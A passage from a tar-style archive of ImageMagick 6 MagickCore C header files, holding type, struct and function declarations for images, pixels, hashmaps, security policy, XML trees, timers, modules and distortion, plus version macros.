*MagnifyImage(const Image *,ExceptionInfo *), *MinifyImage(const Image *,ExceptionInfo *), *ResampleImage(const Image *,const double,const double,const FilterTypes, const double,ExceptionInfo *), *ResizeImage(const Image *,const size_t,const size_t,const FilterTypes, const double,ExceptionInfo *), *SampleImage(const Image *,const size_t,const size_t,ExceptionInfo *), *ScaleImage(const Image *,const size_t,const size_t,ExceptionInfo *), *ThumbnailImage(const Image *,const size_t,const size_t,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/image.h 0000644 00000025766 15246445047 0011566 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image methods. */ #ifndef MAGICKCORE_IMAGE_H #define MAGICKCORE_IMAGE_H #include "magick/color.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #define OpaqueOpacity ((Quantum) 0UL) #define TransparentOpacity (QuantumRange) typedef enum { UndefinedType, BilevelType, GrayscaleType, GrayscaleMatteType, PaletteType, PaletteMatteType, TrueColorType, TrueColorMatteType, ColorSeparationType, ColorSeparationMatteType, OptimizeType, PaletteBilevelMatteType } ImageType; typedef enum { UndefinedInterlace, NoInterlace, LineInterlace, PlaneInterlace, PartitionInterlace, GIFInterlace, JPEGInterlace, PNGInterlace } InterlaceType; typedef enum { UndefinedOrientation, TopLeftOrientation, TopRightOrientation, BottomRightOrientation, BottomLeftOrientation, LeftTopOrientation, RightTopOrientation, RightBottomOrientation, LeftBottomOrientation } OrientationType; typedef enum { UndefinedResolution, PixelsPerInchResolution, PixelsPerCentimeterResolution } ResolutionType; typedef struct _PrimaryInfo { double x, y, z; } PrimaryInfo; typedef struct _SegmentInfo { double x1, y1, x2, y2; } SegmentInfo; typedef enum { UndefinedTransmitType, FileTransmitType, BlobTransmitType, StreamTransmitType, ImageTransmitType } TransmitType; typedef struct _ChromaticityInfo { PrimaryInfo red_primary, green_primary, blue_primary, white_point; } ChromaticityInfo; #include "magick/blob.h" #include "magick/colorspace.h" #include "magick/cache-view.h" #include "magick/color.h" #include "magick/composite.h" #include "magick/compress.h" #include "magick/effect.h" #include "magick/geometry.h" #include "magick/layer.h" #include "magick/locale_.h" #include "magick/monitor.h" #include "magick/pixel.h" #include "magick/profile.h" #include "magick/quantum.h" #include "magick/resample.h" #include "magick/resize.h" #include "magick/semaphore.h" #include "magick/stream.h" #include "magick/timer.h" struct _Image { ClassType storage_class; ColorspaceType colorspace; /* colorspace of image data */ CompressionType compression; /* compression of image when read/write */ size_t quality; /* compression quality setting, meaning varies */ OrientationType orientation; /* photo orientation of image */ MagickBooleanType taint, /* has image been modified since reading */ matte; /* is transparency channel defined and active */ size_t columns, /* physical size of image */ rows, depth, /* depth of image on read/write */ colors; /* size of color table on read */ PixelPacket *colormap, background_color, /* current background color attribute */ border_color, /* current bordercolor attribute */ matte_color; /* current mattecolor attribute */ double gamma; ChromaticityInfo chromaticity; RenderingIntent rendering_intent; void *profiles; ResolutionType units; /* resolution/density ppi or ppc */ char *montage, *directory, *geometry; ssize_t offset; double x_resolution, /* image resolution/density */ y_resolution; RectangleInfo page, /* virtual canvas size and offset of image */ extract_info, tile_info; /* deprecated */ double bias, blur, /* deprecated */ fuzz; /* current color fuzz attribute */ FilterTypes filter; /* resize/distort filter to apply */ InterlaceType interlace; EndianType endian; /* raw data integer ordering on read/write */ GravityType gravity; /* Gravity attribute for positioning in image */ CompositeOperator compose; /* alpha composition method for layered images */ DisposeType dispose; /* GIF animation disposal method */ struct _Image *clip_mask; size_t scene, /* index of image in multi-image file */ delay; /* Animation delay time */ ssize_t ticks_per_second; /* units for delay time, default 100 for GIF */ size_t iterations, total_colors; ssize_t start_loop; ErrorInfo error; TimerInfo timer; MagickProgressMonitor progress_monitor; void *client_data, *cache, *attributes; /* deprecated */ Ascii85Info *ascii85; BlobInfo *blob; char filename[MaxTextExtent], /* images input filename */ magick_filename[MaxTextExtent], /* ditto with coders, and read_mods */ magick[MaxTextExtent]; /* Coder used to decode image */ size_t magick_columns, magick_rows; ExceptionInfo exception; /* Error handling report */ MagickBooleanType debug; /* debug output attribute */ ssize_t reference_count; SemaphoreInfo *semaphore; ProfileInfo color_profile, iptc_profile, *generic_profile; size_t generic_profiles; /* this & ProfileInfo is deprecated */ size_t signature; struct _Image *previous, /* Image list links */ *list, /* Undo/Redo image processing list (for display) */ *next; /* Image list links */ InterpolatePixelMethod interpolate; /* Interpolation of color for between pixel lookups */ MagickBooleanType black_point_compensation; PixelPacket transparent_color; /* color for 'transparent' color index in GIF */ struct _Image *mask; RectangleInfo tile_offset; void *properties, /* per image properities */ *artifacts; /* per image sequence image artifacts */ ImageType type; MagickBooleanType dither; /* dithering method during color reduction */ MagickSizeType extent; MagickBooleanType ping; size_t channels; time_t timestamp; PixelIntensityMethod intensity; /* method to generate an intensity value from a pixel */ size_t duration; /* Total animation duration sum(delay*iterations) */ long tietz_offset; time_t ttl; }; struct _ImageInfo { CompressionType compression; OrientationType orientation; MagickBooleanType temporary, adjoin, affirm, antialias; char *size, *extract, *page, *scenes; size_t scene, number_scenes, depth; InterlaceType interlace; EndianType endian; ResolutionType units; size_t quality; char *sampling_factor, /* Chroma subsampling ratio string */ *server_name, *font, *texture, *density; double pointsize, fuzz; PixelPacket background_color, border_color, matte_color; MagickBooleanType dither, monochrome; size_t colors; ColorspaceType colorspace; ImageType type; PreviewType preview_type; ssize_t group; MagickBooleanType ping, verbose; char *view, *authenticate; ChannelType channel; Image *attributes; /* deprecated */ void *options; MagickProgressMonitor progress_monitor; void *client_data, *cache; StreamHandler stream; FILE *file; void *blob; size_t length; char magick[MaxTextExtent], unique[MaxTextExtent], zero[MaxTextExtent], filename[MaxTextExtent]; MagickBooleanType debug; char *tile; /* deprecated */ size_t subimage, /* deprecated */ subrange; /* deprecated */ PixelPacket pen; /* deprecated */ size_t signature; VirtualPixelMethod virtual_pixel_method; PixelPacket transparent_color; void *profile; MagickBooleanType synchronize; }; extern MagickExport ExceptionType CatchImageException(Image *); extern MagickExport FILE *GetImageInfoFile(const ImageInfo *); extern MagickExport Image *AcquireImage(const ImageInfo *), *AppendImages(const Image *,const MagickBooleanType,ExceptionInfo *), *CloneImage(const Image *,const size_t,const size_t,const MagickBooleanType, ExceptionInfo *), *DestroyImage(Image *), *GetImageClipMask(const Image *,ExceptionInfo *) magick_attribute((__pure__)), *GetImageMask(const Image *,ExceptionInfo *) magick_attribute((__pure__)), *NewMagickImage(const ImageInfo *,const size_t,const size_t, const MagickPixelPacket *), *ReferenceImage(Image *), *SmushImages(const Image *,const MagickBooleanType,const ssize_t, ExceptionInfo *); extern MagickExport ImageInfo *AcquireImageInfo(void), *CloneImageInfo(const ImageInfo *), *DestroyImageInfo(ImageInfo *); extern MagickExport MagickBooleanType ClipImage(Image *), ClipImagePath(Image *,const char *,const MagickBooleanType), CopyImagePixels(Image *,const Image *,const RectangleInfo *, const OffsetInfo *,ExceptionInfo *), IsTaintImage(const Image *), IsMagickConflict(const char *) magick_attribute((__pure__)), IsHighDynamicRangeImage(const Image *,ExceptionInfo *), IsImageObject(const Image *), ListMagickInfo(FILE *,ExceptionInfo *), ModifyImage(Image **,ExceptionInfo *), ResetImagePage(Image *,const char *), ResetImagePixels(Image *,ExceptionInfo *), SetImageBackgroundColor(Image *), SetImageClipMask(Image *,const Image *), SetImageColor(Image *,const MagickPixelPacket *), SetImageExtent(Image *,const size_t,const size_t), SetImageInfo(ImageInfo *,const unsigned int,ExceptionInfo *), SetImageMask(Image *,const Image *), SetImageOpacity(Image *,const Quantum), SetImageChannels(Image *,const size_t), SetImageStorageClass(Image *,const ClassType), StripImage(Image *), SyncImage(Image *), SyncImageSettings(const ImageInfo *,Image *), SyncImagesSettings(ImageInfo *,Image *); extern MagickExport size_t InterpretImageFilename(const ImageInfo *,Image *,const char *,int,char *); extern MagickExport ssize_t GetImageReferenceCount(Image *); extern MagickExport size_t GetImageChannels(Image *); extern MagickExport VirtualPixelMethod GetImageVirtualPixelMethod(const Image *), SetImageVirtualPixelMethod(const Image *,const VirtualPixelMethod); extern MagickExport void AcquireNextImage(const ImageInfo *,Image *), DestroyImagePixels(Image *), DisassociateImageStream(Image *), GetImageException(Image *,ExceptionInfo *), GetImageInfo(ImageInfo *), SetImageInfoBlob(ImageInfo *,const void *,const size_t), SetImageInfoFile(ImageInfo *,FILE *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/hashmap.h 0000644 00000005534 15246445047 0012114 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore hash methods. */ #ifndef MAGICKCORE_HASHMAP_H #define MAGICKCORE_HASHMAP_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #define SmallHashmapSize 17 #define MediumHashmapSize 509 #define LargeHashmapSize 8191 #define HugeHashmapSize 131071 typedef struct _HashmapInfo HashmapInfo; typedef struct _LinkedListInfo LinkedListInfo; extern MagickExport HashmapInfo *DestroyHashmap(HashmapInfo *), *NewHashmap(const size_t,size_t (*)(const void *),MagickBooleanType (*) (const void *,const void *),void *(*)(void *),void *(*)(void *)); extern MagickExport LinkedListInfo *DestroyLinkedList(LinkedListInfo *,void *(*)(void *)), *NewLinkedList(const size_t); extern MagickExport MagickBooleanType AppendValueToLinkedList(LinkedListInfo *,const void *), CompareHashmapString(const void *,const void *), CompareHashmapStringInfo(const void *,const void *), InsertValueInLinkedList(LinkedListInfo *,const size_t,const void *), InsertValueInSortedLinkedList(LinkedListInfo *, int (*)(const void *,const void *),void **,const void *), IsHashmapEmpty(const HashmapInfo *), IsLinkedListEmpty(const LinkedListInfo *), LinkedListToArray(LinkedListInfo *,void **), PutEntryInHashmap(HashmapInfo *,const void *,const void *); extern MagickExport size_t GetNumberOfElementsInLinkedList(const LinkedListInfo *), GetNumberOfEntriesInHashmap(const HashmapInfo *), HashPointerType(const void *), HashStringType(const void *), HashStringInfoType(const void *); extern MagickExport void ClearLinkedList(LinkedListInfo *,void *(*)(void *)), *GetLastValueInLinkedList(LinkedListInfo *), *GetNextKeyInHashmap(HashmapInfo *), *GetNextValueInHashmap(HashmapInfo *), *GetNextValueInLinkedList(LinkedListInfo *), *GetValueFromHashmap(HashmapInfo *,const void *), *GetValueFromLinkedList(LinkedListInfo *,const size_t), *RemoveElementByValueFromLinkedList(LinkedListInfo *,const void *), *RemoveElementFromLinkedList(LinkedListInfo *,const size_t), *RemoveEntryFromHashmap(HashmapInfo *,const void *), *RemoveLastElementFromLinkedList(LinkedListInfo *), ResetHashmapIterator(HashmapInfo *), ResetLinkedListIterator(LinkedListInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/policy.h 0000644 00000003562 15246445047 0011771 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore security policy methods. */ #ifndef MAGICKCORE_POLICY_H #define MAGICKCORE_POLICY_H #include "magick/pixel.h" #include "magick/exception.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedPolicyDomain, CoderPolicyDomain, DelegatePolicyDomain, FilterPolicyDomain, PathPolicyDomain, ResourcePolicyDomain, SystemPolicyDomain, CachePolicyDomain, ModulePolicyDomain } PolicyDomain; typedef enum { UndefinedPolicyRights = 0x00, NoPolicyRights = 0x00, ReadPolicyRights = 0x01, WritePolicyRights = 0x02, ExecutePolicyRights = 0x04, AllPolicyRights = 0xff } PolicyRights; typedef struct _PolicyInfo PolicyInfo; extern MagickExport char *GetPolicyValue(const char *name), **GetPolicyList(const char *,size_t *,ExceptionInfo *); extern MagickExport const PolicyInfo **GetPolicyInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport MagickBooleanType IsRightsAuthorized(const PolicyDomain,const PolicyRights,const char *), ListPolicyInfo(FILE *,ExceptionInfo *), PolicyComponentGenesis(void), SetMagickSecurityPolicy(const char *,ExceptionInfo *); extern MagickExport void PolicyComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/xml-tree.h 0000644 00000004126 15246445047 0012224 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. Magick's toolkit xml-tree methods. */ #ifndef MAGICKCORE_XML_TREE_H #define MAGICKCORE_XML_TREE_H #include "magick/exception.h" #include "magick/splay-tree.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef struct _XMLTreeInfo XMLTreeInfo; extern MagickExport char *CanonicalXMLContent(const char *,const MagickBooleanType), *XMLTreeInfoToXML(XMLTreeInfo *); extern MagickExport const char *GetXMLTreeAttribute(XMLTreeInfo *,const char *), *GetXMLTreeContent(XMLTreeInfo *), **GetXMLTreeProcessingInstructions(XMLTreeInfo *,const char *), *GetXMLTreeTag(XMLTreeInfo *); extern MagickExport MagickBooleanType GetXMLTreeAttributes(const XMLTreeInfo *,SplayTreeInfo *); extern MagickExport XMLTreeInfo *AddChildToXMLTree(XMLTreeInfo *,const char *,const size_t), *AddPathToXMLTree(XMLTreeInfo *,const char *,const size_t), *DestroyXMLTree(XMLTreeInfo *), *GetNextXMLTreeTag(XMLTreeInfo *), *GetXMLTreeChild(XMLTreeInfo *,const char *), *GetXMLTreeOrdered(XMLTreeInfo *), *GetXMLTreePath(XMLTreeInfo *,const char *), *GetXMLTreeSibling(XMLTreeInfo *), *InsertTagIntoXMLTree(XMLTreeInfo *,XMLTreeInfo *,const size_t), *NewXMLTree(const char *,ExceptionInfo *), *NewXMLTreeTag(const char *), *ParseTagFromXMLTree(XMLTreeInfo *), *PruneTagFromXMLTree(XMLTreeInfo *), *SetXMLTreeAttribute(XMLTreeInfo *,const char *,const char *), *SetXMLTreeContent(XMLTreeInfo *,const char *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/pixel.h 0000644 00000011301 15246445047 0011601 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image constitute methods. */ #ifndef MAGICKCORE_PIXEL_H #define MAGICKCORE_PIXEL_H #include "magick/colorspace.h" #include "magick/constitute.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* Pixel enum declarations. */ typedef enum { UndefinedInterpolatePixel, AverageInterpolatePixel, /* Average 4 nearest neighbours */ BicubicInterpolatePixel, /* Catmull-Rom interpolation */ BilinearInterpolatePixel, /* Triangular filter interpolation */ FilterInterpolatePixel, /* Use resize filter - (very slow) */ IntegerInterpolatePixel, /* Integer (floor) interpolation */ MeshInterpolatePixel, /* Triangular mesh interpolation */ NearestNeighborInterpolatePixel, /* Nearest neighbour only */ SplineInterpolatePixel, /* Cubic Spline (blurred) interpolation */ Average9InterpolatePixel, /* Average 9 nearest neighbours */ Average16InterpolatePixel, /* Average 16 nearest neighbours */ BlendInterpolatePixel, /* blend of nearest 1, 2 or 4 pixels */ BackgroundInterpolatePixel, /* just return background color */ CatromInterpolatePixel /* Catmull-Rom interpolation */ } InterpolatePixelMethod; typedef enum { PixelRed = 0, PixelCyan = 0, PixelGray = 0, PixelY = 0, PixelGreen = 1, PixelMagenta = 1, PixelCb = 1, PixelBlue = 2, PixelYellow = 2, PixelCr = 2, PixelAlpha = 3, PixelBlack = 4, PixelIndex = 4, MaskPixelComponent = 5 } PixelComponent; typedef enum { UndefinedPixelIntensityMethod = 0, AveragePixelIntensityMethod, BrightnessPixelIntensityMethod, LightnessPixelIntensityMethod, Rec601LumaPixelIntensityMethod, Rec601LuminancePixelIntensityMethod, Rec709LumaPixelIntensityMethod, Rec709LuminancePixelIntensityMethod, RMSPixelIntensityMethod, MSPixelIntensityMethod } PixelIntensityMethod; /* Pixel typedef declarations. */ typedef struct _DoublePixelPacket { double red, green, blue, opacity, index; } DoublePixelPacket; typedef struct _LongPixelPacket { unsigned int red, green, blue, opacity, index; } LongPixelPacket; typedef struct _MagickPixelPacket { ClassType storage_class; ColorspaceType colorspace; MagickBooleanType matte; double fuzz; size_t depth; MagickRealType red, green, blue, opacity, index; } MagickPixelPacket; typedef Quantum IndexPacket; typedef struct _PixelPacket { #if defined(MAGICKCORE_WORDS_BIGENDIAN) #define MAGICK_PIXEL_RGBA 1 Quantum red, green, blue, opacity; #else #define MAGICK_PIXEL_BGRA 1 Quantum blue, green, red, opacity; #endif } PixelPacket; typedef struct _QuantumPixelPacket { Quantum red, green, blue, opacity, index; } QuantumPixelPacket; typedef struct _CacheView CacheView_; /* Pixel method declarations. */ extern MagickExport MagickBooleanType ExportImagePixels(const Image *,const ssize_t,const ssize_t,const size_t, const size_t,const char *,const StorageType,void *,ExceptionInfo *), ImportImagePixels(Image *,const ssize_t,const ssize_t,const size_t, const size_t,const char *,const StorageType,const void *), InterpolateMagickPixelPacket(const Image *magick_restrict,const CacheView_ *, const InterpolatePixelMethod,const double,const double,MagickPixelPacket *, ExceptionInfo *); extern MagickExport MagickPixelPacket *CloneMagickPixelPacket(const MagickPixelPacket *); extern MagickExport MagickRealType DecodePixelGamma(const MagickRealType) magick_hot_spot, EncodePixelGamma(const MagickRealType) magick_hot_spot, GetMagickPixelIntensity(const Image *image, const MagickPixelPacket *magick_restrict) magick_hot_spot, GetPixelIntensity(const Image *image,const PixelPacket *magick_restrict) magick_hot_spot; extern MagickExport void ConformMagickPixelPacket(Image *,const MagickPixelPacket *, MagickPixelPacket *,ExceptionInfo *), GetMagickPixelPacket(const Image *,MagickPixelPacket *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/gem.h 0000644 00000005721 15246445047 0011241 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore private graphic gems methods. */ #ifndef MAGICKCORE_GEM_H #define MAGICKCORE_GEM_H #include "magick/random_.h" #include "magick/visual-effects.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif extern MagickExport double ExpandAffine(const AffineMatrix *) magick_attribute((__pure__)), GenerateDifferentialNoise(RandomInfo *,const Quantum,const NoiseType, const MagickRealType); extern MagickExport size_t GetOptimalKernelWidth(const double,const double), GetOptimalKernelWidth1D(const double,const double), GetOptimalKernelWidth2D(const double,const double); extern MagickExport void ConvertHCLToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertHCLpToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertHSBToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertHSIToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertHSLToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertHSVToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertHWBToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertLCHabToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertLCHuvToRGB(const double,const double,const double,Quantum *,Quantum *, Quantum *), ConvertRGBToHCL(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToHCLp(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToHSB(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToHSI(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToHSL(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToHSV(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToHWB(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToLCHab(const Quantum,const Quantum,const Quantum,double *,double *, double *), ConvertRGBToLCHuv(const Quantum,const Quantum,const Quantum,double *,double *, double *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/version-64.h 0000644 00000006076 15246445047 0012411 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore version methods. */ #ifndef _MAGICKCORE_VERSION_H #define _MAGICKCORE_VERSION_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* Define declarations. */ #define MagickPackageName "ImageMagick" #define MagickCopyright "(C) 1999 ImageMagick Studio LLC" #define MagickLibVersion 0x69D #define MagickLibVersionText "6.9.13" #define MagickLibVersionNumber 7,0,0 #define MagickLibAddendum "-25" #define MagickLibInterface 7 #define MagickLibMinInterface 7 #define MagickPlatform "x86_64" #define MagickppLibVersionText "6.9.13" #define MagickppLibVersionNumber 9:0:0 #define MagickppLibAddendum "-25" #define MagickppLibInterface 9 #define MagickppLibMinInterface 9 #define MagickGitRevision "18639" #define MagickReleaseDate "2025-03-29" #define MagickHomeURL "file:///usr/share/doc/ImageMagick-6/index.html" #define MagickAuthoritativeLicense \ "https://imagemagick.org/script/license.php" #define MagickAuthoritativeURL "https://legacy.imagemagick.org" #if (MAGICKCORE_QUANTUM_DEPTH == 8) #define MagickQuantumDepth "Q8" #define MagickQuantumRange "255" #elif (MAGICKCORE_QUANTUM_DEPTH == 16) #define MagickQuantumDepth "Q16" #define MagickQuantumRange "65535" #elif (MAGICKCORE_QUANTUM_DEPTH == 32) #define MagickQuantumDepth "Q32" #define MagickQuantumRange "4294967295" #elif (MAGICKCORE_QUANTUM_DEPTH == 64) #define MagickQuantumDepth "Q64" #define MagickQuantumRange "18446744073709551615.0" #else #define MagickQuantumDepth "Q?" #define MagickQuantumRange "?" #endif #if defined(MAGICKCORE_HDRI_SUPPORT) #define MagickHDRISupport "-HDRI" #else #define MagickHDRISupport "" #endif #define MagickVersion \ MagickPackageName " " MagickLibVersionText MagickLibAddendum " " \ MagickQuantumDepth MagickHDRISupport " " MagickPlatform " " \ MagickGitRevision " " MagickAuthoritativeURL extern MagickExport char *GetMagickHomeURL(void); extern MagickExport const char *GetMagickCopyright(void) magick_attribute((__const__)), *GetMagickDelegates(void) magick_attribute((__const__)), *GetMagickFeatures(void) magick_attribute((__const__)), *GetMagickLicense(void) magick_attribute((__const__)), *GetMagickPackageName(void) magick_attribute((__const__)), *GetMagickQuantumDepth(size_t *), *GetMagickQuantumRange(size_t *), *GetMagickReleaseDate(void) magick_attribute((__const__)), *GetMagickVersion(size_t *); extern MagickExport void ListMagickVersion(FILE *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/timer.h 0000644 00000003101 15246445047 0011577 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore timer methods. */ #ifndef MAGICKCORE_TIMER_H #define MAGICKCORE_TIMER_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif typedef enum { UndefinedTimerState, StoppedTimerState, RunningTimerState } TimerState; typedef struct _Timer { double start, stop, total; } Timer; typedef struct _TimerInfo { Timer user, elapsed; TimerState state; size_t signature; } TimerInfo; extern MagickExport double GetElapsedTime(TimerInfo *), GetUserTime(TimerInfo *); extern MagickExport MagickBooleanType ContinueTimer(TimerInfo *); extern MagickExport ssize_t FormatMagickTime(const time_t,const size_t,char *); extern MagickExport TimerInfo *AcquireTimerInfo(void), *DestroyTimerInfo(TimerInfo *); extern MagickExport void GetTimerInfo(TimerInfo *), ResetTimer(TimerInfo *), StartTimer(TimerInfo *,const MagickBooleanType); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/module.h 0000644 00000004350 15246445047 0011753 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore module methods. */ #ifndef MAGICKCORE_MODULE_H #define MAGICKCORE_MODULE_H #include <time.h> #include "magick/version.h" #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif #define MagickImageCoderSignature ((size_t) \ (((MagickLibInterface) << 8) | MAGICKCORE_QUANTUM_DEPTH)) #define MagickImageFilterSignature ((size_t) \ (((MagickLibInterface) << 8) | MAGICKCORE_QUANTUM_DEPTH)) typedef enum { MagickImageCoderModule, MagickImageFilterModule } MagickModuleType; typedef struct _ModuleInfo { char *path, *tag; void *handle, (*unregister_module)(void); size_t (*register_module)(void); time_t timestamp; MagickBooleanType stealth; struct _ModuleInfo *previous, *next; /* deprecated, use GetModuleInfoList() */ size_t signature; } ModuleInfo; typedef size_t ImageFilterHandler(Image **,const int,const char **,ExceptionInfo *); extern MagickExport char **GetModuleList(const char *,const MagickModuleType,size_t *,ExceptionInfo *); extern MagickExport const ModuleInfo **GetModuleInfoList(const char *,size_t *,ExceptionInfo *); extern MagickExport MagickBooleanType InvokeDynamicImageFilter(const char *,Image **,const int,const char **, ExceptionInfo *), ListModuleInfo(FILE *,ExceptionInfo *), ModuleComponentGenesis(void), OpenModule(const char *,ExceptionInfo *), OpenModules(ExceptionInfo *); extern MagickExport ModuleInfo *GetModuleInfo(const char *,ExceptionInfo *); extern MagickExport void DestroyModuleList(void), ModuleComponentTerminus(void); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif ImageMagick-6/magick/distort.h 0000644 00000005227 15246445047 0012162 0 ustar 00 /* Copyright 1999 ImageMagick Studio LLC, a non-profit organization dedicated to making software imaging solutions freely available. You may not use this file except in compliance with the License. You may obtain a copy of the License at https://imagemagick.org/script/license.php Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. MagickCore image distortion methods. */ #ifndef MAGICKCORE_DISTORT_H #define MAGICKCORE_DISTORT_H #if defined(__cplusplus) || defined(c_plusplus) extern "C" { #endif /* These two enum are linked, with common enumerated values. Both DistortImages() and SparseColor() often share code to determine functional coefficients for common methods. Caution should be taken to ensure that only the common methods contain the same enumerated value, while all others remain unique across both enumerations. */ typedef enum { UndefinedDistortion, AffineDistortion, AffineProjectionDistortion, ScaleRotateTranslateDistortion, PerspectiveDistortion, PerspectiveProjectionDistortion, BilinearForwardDistortion, BilinearDistortion = BilinearForwardDistortion, BilinearReverseDistortion, PolynomialDistortion, ArcDistortion, PolarDistortion, DePolarDistortion, Cylinder2PlaneDistortion, Plane2CylinderDistortion, BarrelDistortion, BarrelInverseDistortion, ShepardsDistortion, ResizeDistortion, SentinelDistortion } DistortImageMethod; typedef enum { UndefinedColorInterpolate = UndefinedDistortion, BarycentricColorInterpolate = AffineDistortion, BilinearColorInterpolate = BilinearReverseDistortion, PolynomialColorInterpolate = PolynomialDistortion, ShepardsColorInterpolate = ShepardsDistortion, /* Methods unique to SparseColor(). */ VoronoiColorInterpolate = SentinelDistortion, InverseColorInterpolate, ManhattanColorInterpolate } SparseColorMethod; extern MagickExport Image *AffineTransformImage(const Image *,const AffineMatrix *,ExceptionInfo *), *DistortImage(const Image *,const DistortImageMethod,const size_t, const double *,MagickBooleanType,ExceptionInfo *exception), *DistortResizeImage(const Image *,const size_t,const size_t,ExceptionInfo *), *RotateImage(const Image *,const double,ExceptionInfo *), *SparseColorImage(const Image *,const ChannelType,const SparseColorMethod, const size_t,const double *,ExceptionInfo *); #if defined(__cplusplus) || defined(c_plusplus) } #endif #endif 